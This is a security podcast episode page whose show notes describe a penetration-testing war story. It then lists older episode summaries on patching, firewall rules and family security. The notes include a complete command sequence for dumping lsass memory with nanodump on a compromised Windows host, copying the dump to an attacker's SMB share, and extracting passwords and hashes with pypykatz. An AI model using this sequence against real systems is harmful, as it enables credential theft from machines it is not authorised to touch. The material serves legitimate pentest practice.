7MS #508: Tales of Pentest Pwnage - Part 33
7 Minute Security18 Helmi 2022

7MS #508: Tales of Pentest Pwnage - Part 33

Hey friends! We have another fun test of pentest pwnage to share with you today, which is kind of tossed in a blender with some first impressions of ShellcodePack.

We were on a bunch of pentests recently where we needed to dump credentials out of memory. We usually skim this article and other dumping techniques, but this time nothing seemed to work. After some discussion with colleagues, we were pointed to nanodump, which I believe is intended for use with Cobalt Strike, but you can compile standalone (or, pro tip: the latest CrackMapExec has nanodump.exe built right into it, you just have to create the folder first. So what I like to do is put nanodump in a folder on my Kali box, get some admin creds to my victim host, and then do something like this:

# Windows system: tell your Windows system to trust the victim host you're about to PS into: winrm set winrm/config/client @{TrustedHosts="VICTIM-SERVER"} # Windows system: PowerShell into the victim system Enter-PSSession -computername -Credential domain.com\pwneduser # Kali system: create and share a folder with nanodump.exe in it: sudo mkdir /share sudo python3 /opt/impacket/examples/smbserver.py share /share -smb2support # Victim system: copy nanodump from Kali box to VICTIM-SERVER copy \\YOUR.KALI.IP.ADDRESS\share\nano.exe c:\windows\temp\ # Victim system: get the PID for lsass.exe tasklist /FI "IMAGENAME eq lsass.exe" # Victim system: use nano to do the lsass dump c:\windows\temp\nano.exe --pid x --write c:\windows\temp\toteslegit.log # Victim system: Get the log back to your Kali share copy c:\windows\temp\toteslegit.log \\YOUR.KALI.IP.ADDRSS\share\ # Kali system: "fix" the dump and extract credz with mimikatz! sudo /opt/nanodump/restore_signature.sh winupdates1.log sudo python3 -m pypykatz lsa minidump toteslegit.log -o dump.txt

Enjoy delicious passwords and hashes in the dump.txt file!

Jaksot(682)

7MS #10: Information Security for the Whole Family – part 2 (audio)

7MS #10: Information Security for the Whole Family – part 2 (audio)

In this episode I talk more about some infosec-y things I’m doing on the home front to nurture a security culture (if you will) with my wife and kids. Download: Episode 10: Information Security for the Whole Family – part 2 (audio) Show notes: If you have kids and are considering a tablet for them,…

5 Huhti 20147min

7MS #9: Information Security for the Whole Family (audio)

7MS #9: Information Security for the Whole Family (audio)

In this episode I talk about how being an infosec guy has ruined my family’s life (well, not really) Download: Episode 9: Information Security for the Whole Family (audio) Show notes: To keep peace in your household, I’d recommend making sweeping network changes when your family members aren’t around (i.e. changing the wifi password :-)…

29 Maalis 20147min

7MS #8: CISSP – Is That the Cert for Me? (audio)

7MS #8: CISSP – Is That the Cert for Me? (audio)

In this episode I talk about my experience prepping for the CISSP exam. Download: Episode 8: CISSP – Is That the Cert for Me? (audio) Show notes: I used this book as my primary study tool. It comes with a whole slew of companion materials like a pre-assessment test, flashcards and 3 full practice exams.…

22 Maalis 20147min

7MS #7: External Vulnerabilities that Byte (audio)

7MS #7: External Vulnerabilities that Byte (audio)

Episode lucky #7!!! In this episode I talk about external network vulnerabilities that we see in many of our assessments – some of which are pretty easy to clear up. Download: Episode 7: External Vulnerabilities that Byte (audio) Show notes: RC4 – a risk that we find just about anywhere SSL is used, but in…

15 Maalis 20147min

7MS #6: Fun Firewall Rules – part 2 (audio)

7MS #6: Fun Firewall Rules – part 2 (audio)

In this episode I continue talking about some basic firewall rules that many organizations don’t have in place. Download: Episode 6: Fun Firewall Rules – part 2 (audio) Show notes: Limit outbound DNS requests to just the ISP servers (or whatever external servers you use). Anytime a firewall rule is changed, perform a vulnerability scan…

8 Maalis 20147min

7MS #5: Fun Firewall Rules – part 1 (audio)

7MS #5: Fun Firewall Rules – part 1 (audio)

In this episode I talk about some basic firewall rules that many organizations don’t have in place. Download: Episode 5: Fun Firewall Rules – part 1 (audio) Show notes: Block outbound port TCP 25 for all devices except your mail server(s). If you use a third party mail filter like Postini or Securence, ensure that…

1 Maalis 20147min

7MS #4: Patch Strategies: Part Deux (audio)

7MS #4: Patch Strategies: Part Deux (audio)

In this episode I continue talking about some dos and donts of patch strategies – this time talking about enterprise level gear. Download: Episode 4: Patch Strategies: Part Deux (audio) Show notes: There are often two trains of thought in regards to enterprise gear patching (like routers, switches, firewalls). 1. If it ain’t broke, don’t…

22 Helmi 20146min

7MS #3: Patch Strategies: Part 1 (audio)

7MS #3: Patch Strategies: Part 1 (audio)

In this episode I talk about some trends (and problems) we’re seeing on the patching front – specifically OS and third-party apps. Download: Episode 3: Patch Strategies: Part 1 (audio) Show notes: Most organizations have the Microsoft side of the house patched well – but the third party apps (Java/Flash/Reader/etc.)? Not so much…but that’s just…

13 Helmi 20147min

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